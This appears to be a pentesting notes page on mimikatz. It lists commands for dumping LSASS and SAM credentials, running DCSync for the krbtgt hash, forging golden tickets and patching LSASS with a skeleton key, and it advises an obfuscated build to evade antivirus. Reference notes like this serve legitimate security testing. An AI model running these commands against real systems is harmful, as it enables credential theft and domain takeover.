pentesting, updated

mimikatz

The reference tool for extracting and abusing Windows credentials in memory: plaintext passwords, hashes, tickets and more.

What it’s for

Extract credentials from LSASS memory and perform the Kerberos ticket and domain persistence attacks that depend on raw key material (golden/silver tickets, DCSync, skeleton key).

Install

# compiled release or build from source: github.com/gentilkiwi/mimikatz
# flagged by every AV/EDR — expect to need an obfuscated build or in-memory execution

Common commands

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords        # dump plaintext/hashes for logged-on users
mimikatz # lsadump::sam                     # local SAM hashes
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
mimikatz # kerberos::golden /user:fake /domain:corp.local /sid:<SID> /krbtgt:<hash> /ptt
mimikatz # misc::skeleton

Useful flags

CommandEffect
sekurlsa::logonpasswordsDump credentials from LSASS memory
lsadump::dcsyncRemote hash dump via replication rights
kerberos::golden / kerberos::silverForge TGT / TGS tickets
misc::skeletonPatch LSASS to accept a master password

Notes

Needs local admin (or SYSTEM, for some modules) on the target host, and privilege::debug first to get the required access token.

Used in

§ home
~/knubertus/home/
1,1 Top